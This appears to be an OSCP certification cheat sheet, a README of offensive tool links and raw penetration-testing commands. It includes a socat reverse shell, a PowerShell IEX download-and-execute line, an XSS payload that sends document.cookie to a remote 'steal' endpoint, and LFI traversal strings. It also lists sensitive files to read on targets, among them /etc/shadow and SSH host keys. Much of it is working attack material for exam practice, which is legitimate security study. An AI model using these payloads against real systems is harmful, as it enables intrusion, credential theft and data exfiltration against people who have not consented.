Commands, Payloads and Resources for the OffSec Certified Professional Certification (OSCP).
Since this little project get's more and more attention, I decided to update it as often as possible to focus more helpful and absolutely necessary commands for the exam. Feel free to submit a pull request or reach out to me on Twitter for suggestions.
Every help or hint is appreciated!
DISCLAIMER: A guy on Twitter got a point. Automatic exploitation tools like sqlmap are prohibited to use in the exam. The same goes for the automatic exploitation functionality of LinPEAS. I am not keeping track of current guidelines related to those tools. For that I want to point out that I am not responsible if anybody uses a tool without double checking the latest exam restrictions and fails the exam. Inform yourself before taking the exam!
Here are the link to the OSCP Exam Guide and the discussion about LinPEAS. I hope this helps.
END NOTE: This repository will also try to cover as much as possible of the tools required for the proving grounds boxes.
Thank you for reading.
- Basics
- Information Gathering
- Vulnerability Analysis
- Web Application Analysis
- Database Assessment
- Password Attacks
- Exploitation Tools
- Post Exploitation
- Exploit Databases
- CVEs
- Payloads
- Wordlists
- Reporting
- Social Media Resources
- Commands
- Basics
- Information Gathering
- Web Application Analysis
- Burp Suite
- cadaver
- Cross-Site Scripting (XSS)
- ffuf
- Gobuster
- GitTools
- Local File Inclusion (LFI)
- PDF PHP Inclusion
- PHP Upload Filter Bypasses
- PHP Filter Chain Generator
- PHP Generic Gadget Chains (PHPGGC)
- Server-Side Request Forgery (SSRF)
- Server-Side Template Injection (SSTI)
- Upload Vulnerabilities
- wfuzz
- WPScan
- XML External Entity (XXE)
- Database Analysis
- Password Attacks
- Exploitation Tools
- Post Exploitation
- Abusing Account Operators Group Membership
- Active Directory Certificate Services (AD CS)
- ADCSTemplate
- ADMiner
- BloodHound
- BloodHound Python
- bloodyAD
- Certify
- Certipy
- enum4linux-ng
- Evil-WinRM
- Impacket
- JAWS
- Kerberos
- ldapsearch
- Linux
- Microsoft Windows
- PassTheCert
- PKINITtools
- Port Scanning
- powercat
- Powermad
- PowerShell
- PrivescCheck
- pwncat
- rpcclient
- Rubeus
- RunasCs
- smbpasswd
- winexe
- CVE
- CVE-2014-6271: Shellshock RCE PoC
- CVE-2016-1531: exim LPE
- CVE-2019-14287: Sudo Bypass
- CVE-2020-1472: ZeroLogon PE
- CVE-2021–3156: Sudo / sudoedit LPE
- CVE-2021-44228: Log4Shell RCE (0-day)
- CVE-2022-0847: Dirty Pipe LPE
- CVE-2022-22963: Spring4Shell RCE (0-day)
- CVE-2022-31214: Firejail LPE
- CVE-2023-21746: Windows NTLM EoP LocalPotato LPE
- CVE-2023-22809: Sudo Bypass
- CVE-2023-32629, CVE-2023-2640: GameOverlay Ubuntu Kernel Exploit LPE (0-day)
- CVE-2023-4911: Looney Tunables LPE
- CVE-2023-7028: GitLab Account Takeover
- GodPotato LPE
- Juicy Potato LPE
- JuicyPotatoNG LPE
- MySQL 4.x/5.0 User-Defined Function (UDF) Dynamic Library (2) LPE
- PrintSpoofer LPE
- SharpEfsPotato LPE
- Shocker Container Escape
- Payloads
- Templates
| Name | URL |
|---|---|
| Chisel | https://github.com/jpillora/chisel |
| CyberChef | https://gchq.github.io/CyberChef |
| Ligolo-ng | https://github.com/nicocha30/ligolo-ng |
| Swaks | https://github.com/jetmore/swaks |
| Name | URL |
|---|---|
| Nmap | https://github.com/nmap/nmap |
| Name | URL |
|---|---|
| nikto | https://github.com/sullo/nikto |
| Sparta | https://github.com/SECFORCE/sparta |
| Name | URL |
|---|---|
| ffuf | https://github.com/ffuf/ffuf |
| fpmvuln | https://github.com/hannob/fpmvuln |
| Gobuster | https://github.com/OJ/gobuster |
| JSON Web Tokens | https://jwt.io |
| JWT_Tool | https://github.com/ticarpi/jwt_tool |
| Leaky Paths | https://github.com/ayoubfathi/leaky-paths |
| PayloadsAllTheThings | https://github.com/swisskyrepo/PayloadsAllTheThings |
| PHP Filter Chain Generator | https://github.com/synacktiv/php_filter_chain_generator |
| PHPGGC | https://github.com/ambionics/phpggc |
| Spose | https://github.com/aancw/spose |
| Wfuzz | https://github.com/xmendez/wfuzz |
| WhatWeb | https://github.com/urbanadventurer/WhatWeb |
| WPScan | https://github.com/wpscanteam/wpscan |
| Name | URL |
|---|---|
| RedisModules-ExecuteCommand | https://github.com/n0b0dyCN/RedisModules-ExecuteCommand |
| Redis RCE | https://github.com/Ridter/redis-rce |
| Redis Rogue Server | https://github.com/n0b0dyCN/redis-rogue-server |
| Name | URL |
|---|---|
| CrackMapExec | https://github.com/byt3bl33d3r/CrackMapExec |
| Default Credentials Cheat Sheet | https://github.com/ihebski/DefaultCreds-cheat-sheet |
| Firefox Decrypt | https://github.com/unode/firefox_decrypt |
| hashcat | https://hashcat.net/hashcat |
| Hydra | https://github.com/vanhauser-thc/thc-hydra |
| John | https://github.com/openwall/john |
| keepass-dump-masterkey | https://github.com/CMEPW/keepass-dump-masterkey |
| KeePwn | https://github.com/Orange-Cyberdefense/KeePwn |
| Kerbrute | https://github.com/ropnop/kerbrute |
| LaZagne | https://github.com/AlessandroZ/LaZagne |
| mimikatz | https://github.com/gentilkiwi/mimikatz |
| NetExec | https://github.com/Pennyw0rth/NetExec |
| ntlm.pw | https://ntlm.pw |
| pypykatz | https://github.com/skelsec/pypykatz |
| Name | URL |
|---|---|
| Evil-WinRM | https://github.com/Hackplayers/evil-winrm |
| Metasploit | https://github.com/rapid7/metasploit-framework |
| Database | URL |
|---|---|
| 0day.today Exploit Database | https://0day.today |
| Exploit Database | https://www.exploit-db.com |
| Packet Storm | https://packetstormsecurity.com |
| Sploitus | https://sploitus.com |
| Name | URL |
|---|---|
| Payload Box | https://github.com/payloadbox |
| PayloadsAllTheThings | https://github.com/swisskyrepo/PayloadsAllTheThings |
| phpgcc | https://github.com/ambionics/phpggc |
| PHP-Reverse-Shell | https://github.com/ivan-sincek/php-reverse-shell |
| webshell | https://github.com/tennc/webshell |
| Web-Shells | https://github.com/TheBinitGhimire/Web-Shells |
| Name | URL |
|---|---|
| bopscrk | https://github.com/R3nt0n/bopscrk |
| CeWL | https://github.com/digininja/cewl |
| COOK | https://github.com/giteshnxtlvl/cook |
| CUPP | https://github.com/Mebus/cupp |
| Kerberos Username Enumeration | https://github.com/attackdebris/kerberos_enum_userlists |
| SecLists | https://github.com/danielmiessler/SecLists |
| Username Anarchy | https://github.com/urbanadventurer/username-anarchy |
| Name | URL |
|---|---|
| SysReptor | https://github.com/Syslifters/sysreptor |
| SysReptor OffSec Reporting | https://github.com/Syslifters/OffSec-Reporting |
| SysReptor Portal | https://oscp.sysreptor.com/oscp/signup/ |
| Name | URL |
|---|---|
| OSCP Guide 01/12 – My Exam Experience | https://www.youtube.com/watch?v=9mrf-WyzkpE&list=PLJnLaWkc9xRgOyupMhNiVFfgvxseWDH5x |
| Rana Khalil | https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/ |
| HackTricks | https://book.hacktricks.xyz/ |
| Hacking Articles | https://www.hackingarticles.in/ |
| IppSec (YouTube) | https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA |
| IppSec.rocks | https://ippsec.rocks/?# |
| 0xdf | https://0xdf.gitlab.io/ |
curl -v http://<DOMAIN> // verbose output
curl -X POST http://<DOMAIN> // use POST method
curl -X PUT http://<DOMAIN> // use PUT method
curl --path-as-is http://<DOMAIN>/../../../../../../etc/passwd // use --path-as-is to handle /../ or /./ in the given URL
curl --proxy http://127.0.0.1:8080 // use proxy
curl -F myFile=@<FILE> http://<RHOST> // file upload
curl${IFS}<LHOST>/<FILE> // Internal Field Separator (IFS) example./chisel server -p 9002 -reverse -v
./chisel client <LHOST>:9002 R:3000:127.0.0.1:3000./chisel server -p 9002 -reverse -v
./chisel client <LHOST>:9002 R:sockscertutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>nc -lnvp <LPORT> < <FILE>
nc <RHOST> <RPORT> > <FILE>sudo impacket-smbserver <SHARE> ./
sudo impacket-smbserver <SHARE> . -smb2support
copy * \\<LHOST>\<SHARE>iwr <LHOST>/<FILE> -o <FILE>
IEX(IWR http://<LHOST>/<FILE>) -UseBasicParsing
powershell -command Invoke-WebRequest -Uri http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\\<FILE>Paste directly to the shell.
function __wget() {
: ${DEBUG:=0}
local URL=$1
local tag="Connection: close"
local mark=0
if [ -z "${URL}" ]; then
printf "Usage: %s \"URL\" [e.g.: %s http://www.google.com/]" \
"${FUNCNAME[0]}" "${FUNCNAME[0]}"
return 1;
fi
read proto server path <<<$(echo ${URL//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
[[ $DEBUG -eq 1 ]] && echo "HOST=$HOST"
[[ $DEBUG -eq 1 ]] && echo "PORT=$PORT"
[[ $DEBUG -eq 1 ]] && echo "DOC =$DOC"
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.1\r\nHost: ${HOST}\r\n${tag}\r\n\r\n" >&3
while read line; do
[[ $mark -eq 1 ]] && echo $line
if [[ "${line}" =~ "${tag}" ]]; then
mark=1
fi
done <&3
exec 3>&-
}__wget http://<LHOST>/<FILE>function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}__curl http://<LHOST>/<FILE> > <OUTPUT_FILE>ftp <RHOST>
wget -r ftp://anonymous:anonymous@<RHOST>sudo apt-get install krb5-kdcimpacket-getTGT <DOMAIN>/<USERNAME>:'<PASSWORD>'
export KRB5CCNAME=<FILE>.ccache
export KRB5CCNAME='realpath <FILE>.ccache'/etc/krb5.conf // kerberos configuration file location
kinit <USERNAME> // creating ticket request
klist // show available kerberos tickets
kdestroy // delete cached kerberos tickets
.k5login // resides kerberos principals for login (place in home directory)
krb5.keytab // "key table" file for one or more principals
kadmin // kerberos administration console
add_principal <EMAIL> // add a new user to a keytab file
ksu // executes a command with kerberos authentication
klist -k /etc/krb5.keytab // lists keytab file
kadmin -p kadmin/<EMAIL> -k -t /etc/krb5.keytab // enables editing of the keytab filebase64 -d <USERNAME>.kirbi.b64 > <USERNAME>.kirbi
impacket-ticketConverter <USERNAME>.kirbi <USERNAME>.ccache
export KRB5CCNAME=`realpath <USERNAME>.ccache`impacket-ticketConverter <USERNAME>.ccache <USERNAME>.kirbi
base64 -w0 <USERNAME>.kirbi > <USERNAME>.kirbi.base64wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gzsudo ip tuntap add user $(whoami) mode tun ligolosudo ip link set ligolo up./proxy -laddr <LHOST>:443 -selfcert./agent -connect <LHOST>:443 -ignore-certligolo-ng » session[Agent : user@target] » ifconfigsudo ip r add 172.16.1.0/24 dev ligolo[Agent : user@target] » start[Agent : user@target] » listener_add --addr <RHOST>:<LPORT> --to <LHOST>:<LPORT> --tcpdoas -u <USERNAME> /bin/shexport PATH=`pwd`:$PATHgcc (--static) -m32 -Wl,--hash-style=both exploit.c -o exploit
i686-w64-mingw32-gcc -o main32.exe main.c
x86_64-w64-mingw32-gcc -o main64.exe main.cgetfacl <LOCAL_DIRECTORY>echo "<COMMAND>" | iconv -t UTF-16LE | base64 -w 0
echo "<COMMAND>" | iconv -f UTF-8 -t UTF-16LE | base64 -w0
iconv -f ASCII -t UTF-16LE <FILE>.txt | base64 | tr -d "\n":w !sudo tee % # save file with elevated privileges without exitingecho "<COMMAND>" | iconv -f UTF-8 -t UTF-16LE | base64 -w0dir /a
dir /a:d
dir /a:h
dir flag* /s /p
dir /s /b *.logsudo php -S 127.0.0.1:80ping -c 1 <RHOST>
ping -n 1 <RHOST>sudo python -m SimpleHTTPServer 80
sudo python3 -m http.server 80xfreerdp /v:<RHOST> /u:<USERNAME> /p:<PASSWORD> /dynamic-resolution +clipboard
xfreerdp /v:<RHOST> /u:<USERNAME> /d:<DOMAIN> /pth:'<HASH>' /dynamic-resolution +clipboard
rdesktop <RHOST>
xfreerdp /v:<RHOST> /dynamic-resolution +clipboard /tls-seclevel:0 -sec-nla/usr/sbin/showmount -e <RHOST>
sudo showmount -e <RHOST>
chown root:root sid-shell; chmod +s sid-shellmount.cifs //<RHOST>/<SHARE> /mnt/remote
guestmount --add '/<MOUNTPOINT>/<DIRECTORY/FILE>' --inspector --ro /mnt/<MOUNT> -vsmbclient -L \\<RHOST>\ -N
smbclient -L //<RHOST>/ -N
smbclient -L ////<RHOST>/ -N
smbclient -L //<RHOST>// -U <USERNAME>%<PASSWORD>
smbclient -U "<USERNAME>" -L \\\\<RHOST>\\
smbclient //<RHOST>/<SHARE> -U <USERNAME>
smbclient //<RHOST>/SYSVOL -U <USERNAME>%<PASSWORD>
smbclient "\\\\<RHOST>\<SHARE>"
smbclient \\\\<RHOST>\\<SHARE> -U '<USERNAME>' --socket-options='TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=131072 SO_SNDBUF=131072' -t 40000
smbclient --no-pass //<RHOST>/<SHARE>mask""
recurse ON
prompt OFF
mget *socat TCP-LISTEN:<LPORT>,fork TCP:<RHOST>:<RPORT>socat file:`tty`,raw,echo=0 tcp-listen:<LPORT>
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<LHOST>:<LPORT>socat tcp-listen:5986,reuseaddr,fork tcp:<RHOST>:9002
socat tcp-listen:9002,reuseaddr,fork tcp:192.168.122.228:5968 &ssh user@<RHOST> -oKexAlgorithms=+diffie-hellman-group1-sha1
ssh -R 8080:<LHOST>:80 <RHOST>
ssh -L 8000:127.0.0.1:8000 <USERNAME>@<RHOST>
ssh -N -L 1234:127.0.0.1:1234 <USERNAME>@<RHOST>
ssh -L 80:<LHOST>:80 <RHOST>
ssh -L 127.0.0.1:80:<LHOST>:80 <RHOST>
ssh -L 80:localhost:80 <RHOST>sudo nmap -sU -p 123 --script ntp-info <RHOST>sudo /etc/init.d/virtualbox-guest-utils stopsudo systemctl stop systemd-timesyncdsudo systemctl disable --now chronydsudo net time -c <RHOST>
sudo net time set -S <RHOST>
sudo net time \\<RHOST> /set /y
sudo ntpdate <RHOST>
sudo ntpdate -s <RHOST>
sudo ntpdate -b -u <RHOST>
sudo timedatectl set-timezone UTC
sudo timedatectl list-timezones
sudo timedatectl set-timezone '<COUNTRY>/<CITY>'
sudo timedatectl set-time 15:58:30
sudo timedatectl set-time '2015-11-20 16:14:50'
sudo timedatectl set-local-rtc 1while [ 1 ]; do sudo ntpdate <RHOST>;donectrl b + w # show windows
ctrl + " # split window horizontal
ctrl + % # split window vertical
ctrl + , # rename window
ctrl + { # flip window
ctrl + } # flip window
ctrl + spacebar # switch pane layoutCopy & Paste
:setw -g mode-keys vi
ctrl b + [
space
enter
ctrl b + ]Search
ctrl b + [ # enter copy
ctrl + / # enter search while within copy mode for vi mode
n # search next
shift + n # reverse searchLogging
ctrl b
shift + P # start / stopSave Output
ctrl b + :
capture-pane -S -
ctrl b + :
save-buffer <FILE>.txtpython -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
ctrl + z
stty raw -echo
fg
Enter
Enter
export XTERM=xtermAlternatively:
script -q /dev/null -c bash
/usr/bin/script -qc /bin/bash /dev/nullstty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;env resetor
stty onlcrsudo pkill VBoxClient && VBoxClient --clipboardsudo apt-get install virtualenv
virtualenv -p python2.7 venv
. venv/bin/activatepython.exe -m pip install virtualenv
python.exe -m virtualenv venv
venv\Scripts\activatememcrashed / 11211/UDP
npm install -g memcached-cli
memcached-cli <USERNAME>:<PASSWORD>@<RHOST>:11211
echo -en "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" | nc -q1 -u 127.0.0.1 11211
STAT pid 21357
STAT uptime 41557034
STAT time 1519734962
sudo nmap <RHOST> -p 11211 -sU -sS --script memcached-info
stats items
stats cachedump 1 0
get link
get file
get user
get passwd
get account
get username
get passwordnbtscan <RHOST>
nmblookup -A <RHOST>sudo nmap -A -T4 -sC -sV -p- <RHOST>
sudo nmap -sV -sU <RHOST>
sudo nmap -A -T4 -sC -sV --script vuln <RHOST>
sudo nmap -A -T4 -p- -sS -sV -oN initial --script discovery <RHOST>
sudo nmap -sC -sV -p- --scan-delay 5s <RHOST>
sudo nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test' <RHOST>
ls -lh /usr/share/nmap/scripts/*ssh*
locate -r '\.nse$' | xargs grep categories | grep categories | grep 'default\|version\|safe' | grep smbfor p in {1..65535}; do nc -vn <RHOST> $p -w 1 -z & done 2> <FILE>.txtexport ip=<RHOST>; for port in $(seq 1 65535); do timeout 0.01 bash -c "</dev/tcp/$ip/$port && echo The port $port is open || echo The Port $port is closed > /dev/null" 2>/dev/null || echo Connection Timeout > /dev/null; donesnmpwalk -c public -v1 <RHOST>
snmpwalk -v2c -c public <RHOST> 1.3.6.1.2.1.4.34.1.3
snmpwalk -v2c -c public <RHOST> .1
snmpwalk -v2c -c public <RHOST> nsExtendObjects
snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.25
snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.25.4.2.1.2
snmpwalk -c public -v1 <RHOST> .1.3.6.1.2.1.1.5
snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.3.1.1
snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.27
snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.6.13.1.3
snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.25.6.3.1.2Ctrl+r // Sending request to repeater
Ctrl+i // Sending request to intruder
Ctrl+Shift+b // base64 encoding
Ctrl+Shift+u // URL decodingexport HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=https://localhost:8080cadaver http://<RHOST>/<WEBDAV_DIRECTORY>/dav:/<WEBDAV_DIRECTORY>/> cd C
dav:/<WEBDAV_DIRECTORY>/C/> ls
dav:/<WEBDAV_DIRECTORY>/C/> put <FILE><sCrIpt>alert(1)</ScRipt>
<script>alert('XSS');</script>
<script>alert(document.cookies)</script>
<script>document.querySelector('#foobar-title').textContent = '<TEXT>'</script>
<script>fetch('https://<RHOST>/steal?cookie=' + btoa(document.cookie));</script>
<script>user.changeEmail('user@domain');</script>
<iframe src=file:///etc/passwd height=1000px width=1000px></iframe>
<img src='http://<RHOST>'/>ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ --fs <NUMBER> -mc all
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ --fw <NUMBER> -mc all
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ -mc 200,204,301,302,307,401 -o results.txt
ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://<RHOST>/ -H "Host: FUZZ.<RHOST>" -fs 185
ffuf -c -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt -u http://<RHOST>/backups/backup_2020070416FUZZ.zipffuf -u https://<RHOST>/api/v2/FUZZ -w api_seen_in_wild.txt -c -ac -t 250 -fc 400,404,412ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://<RHOST>/admin../admin_staging/index.php?page=FUZZ -fs 15349ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt -u "http://<RHOST>/admin/FUZZ.php" -b "PHPSESSID=a0mjo6ukbkq271nb2rkb1joamp" -fw 2644ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://<RHOST>/cd/basic/FUZZ -recursionffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://<RHOST>/cd/ext/logs/FUZZ -e .logffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 5 -p 0.1 -u http://<RHOST>/cd/rate/FUZZ -mc 200,429ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.<RHOST>" -u http://<RHOST> -fs 1495ffuf -w /opt/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://<RHOST>/FUZZ -t 30 -c -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -mc 200,204,301,302,307,401,403,500 -ic -e .7z,.action,.ashx,.asp,.aspx,.backup,.bak,.bz,.c,.cgi,.conf,.config,.dat,.db,.dhtml,.do,.doc,.docm,.docx,.dot,.dotm,.go,.htm,.html,.ini,.jar,.java,.js,.js.map,.json,.jsp,.jsp.source,.jspx,.jsx,.log,.old,.pdb,.pdf,.phtm,.phtml,.pl,.py,.pyc,.pyz,.rar,.rhtml,.shtm,.shtml,.sql,.sqlite3,.svc,.tar,.tar.bz2,.tar.gz,.tsx,.txt,.wsdl,.xhtm,.xhtml,.xls,.xlsm,.xlst,.xlsx,.xltm,.xml,.zip./gitdumper.sh http://<RHOST>/.git/ /PATH/TO/FOLDER
./extractor.sh /PATH/TO/FOLDER/ /PATH/TO/FOLDER/-e // extended mode that renders the full url
-k // skip ssl certificate validation
-r // follow cedirects
-s // status codes
-b // exclude status codes
-k // ignore certificates
--wildcard // set wildcard option
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<RHOST>/
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://<RHOST>/ -x php
$ gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://<RHOST>/ -x php,txt,html,js -e -s 200
$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u https://<RHOST>:<RPORT>/ -b 200 -k --wildcardtxt,bak,php,html,js,asp,aspxpng,jpg,jpeg,gif,bmpgobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://<RHOST>/api/ -e -s 200gobuster dns -d <RHOST> -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
gobuster dns -d <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txtgobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
gobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domaingobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<RHOST>/ -a Linuxhttp://<RHOST>/<FILE>.php?file=
http://<RHOST>/<FILE>.php?file=../../../../../../../../etc/passwd
http://<RHOST>/<FILE>/php?file=../../../../../../../../../../etc/passwdhttp://<RHOST>/<FILE>/php?file=../../../../../../../../../../etc/passwd%00%00
0x00../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
..././
...\.\https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phpfilter
url=php://filter/convert.base64-encode/resource=file:////var/www/<RHOST>/api.phphttp://<RHOST>/index.php?page=php://filter/convert.base64-encode/resource=index
http://<RHOST>/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
base64 -d <FILE>.phpAccept: ../../../../.././../../../../etc/passwd{{
Accept: ../../../../.././../../../../etc/passwd{%0D
Accept: ../../../../.././../../../../etc/passwd{%0A
Accept: ../../../../.././../../../../etc/passwd{%00
Accept: ../../../../.././../../../../etc/passwd{%0D{{
Accept: ../../../../.././../../../../etc/passwd{%0A{{
Accept: ../../../../.././../../../../etc/passwd{%00{{/etc/passwd
/etc/shadow
/etc/aliases
/etc/anacrontab
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/at.allow
/etc/at.deny
/etc/bashrc
/etc/bootptab
/etc/chrootUsers
/etc/chttp.conf
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/cups/cupsd.conf
/etc/exports
/etc/fstab
/etc/ftpaccess
/etc/ftpchroot
/etc/ftphosts
/etc/groups
/etc/grub.conf
/etc/hosts
/etc/hosts.allow
/etc/hosts.deny
/etc/httpd/access.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/php.ini
/etc/httpd/srm.conf
/etc/inetd.conf
/etc/inittab
/etc/issue
/etc/knockd.conf
/etc/lighttpd.conf
/etc/lilo.conf
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/lsb-release
/etc/motd
/etc/modules.conf
/etc/motd
/etc/mtab
/etc/my.cnf
/etc/my.conf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/npasswd
/etc/passwd
/etc/php4.4/fcgi/php.ini
/etc/php4/apache2/php.ini
/etc/php4/apache/php.ini
/etc/php4/cgi/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/apache/php.ini
/etc/php/cgi/php.ini
/etc/php.ini
/etc/php/php4/php.ini
/etc/php/php.ini
/etc/printcap
/etc/profile
/etc/proftp.conf
/etc/proftpd/proftpd.conf
/etc/pure-ftpd.conf
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/putreftpd.pdb
/etc/redhat-release
/etc/resolv.conf
/etc/samba/smb.conf
/etc/snmpd.conf
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/sysconfig/network
/etc/syslog.conf
/etc/termcap
/etc/vhcs2/proftpd/proftpd.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/logs/pure-ftpd.log
/logs/security_debug_log
/logs/security_log
/opt/lampp/etc/httpd.conf
/opt/xampp/etc/php.ini
/proc/cmdline
/proc/cpuinfo
/proc/filesystems
/proc/interrupts
/proc/ioports
/proc/meminfo
/proc/modules
/proc/mounts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/<PID>/cmdline
/proc/<PID>/maps
/proc/sched_debug
/proc/self/cwd/app.py
/proc/self/environ
/proc/self/net/arp
/proc/stat
/proc/swaps
/proc/version
/root/anaconda-ks.cfg
/usr/etc/pure-ftpd.conf
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/modsec.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/audit_log
/usr/local/apache/error_log
/usr/local/apache/error.log
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/lib/php.ini
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.ini
/usr/local/php/lib/php.ini
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdn
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/www/logs/httpd_log
/usr/local/Zend/etc/php.ini
/usr/sbin/pure-config.pl
/var/adm/log/xferlog
/var/apache2/config.inc
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/php.ini
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/auth.log
/var/log/boot
/var/htmp
/var/log/chttp.log
/var/log/cups/error.log
/var/log/daemon.log
/var/log/debug
/var/log/dmesg
/var/log/dpkg.log
/var/log/exim_mainlog
/var/log/exim/mainlog
/var/log/exim_paniclog
/var/log/exim.paniclog
/var/log/exim_rejectlog
/var/log/exim/rejectlog
/var/log/faillog
/var/log/ftplog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/httpd-access.log
/var/log/httpd/access_log
/var/log/httpd/access.log
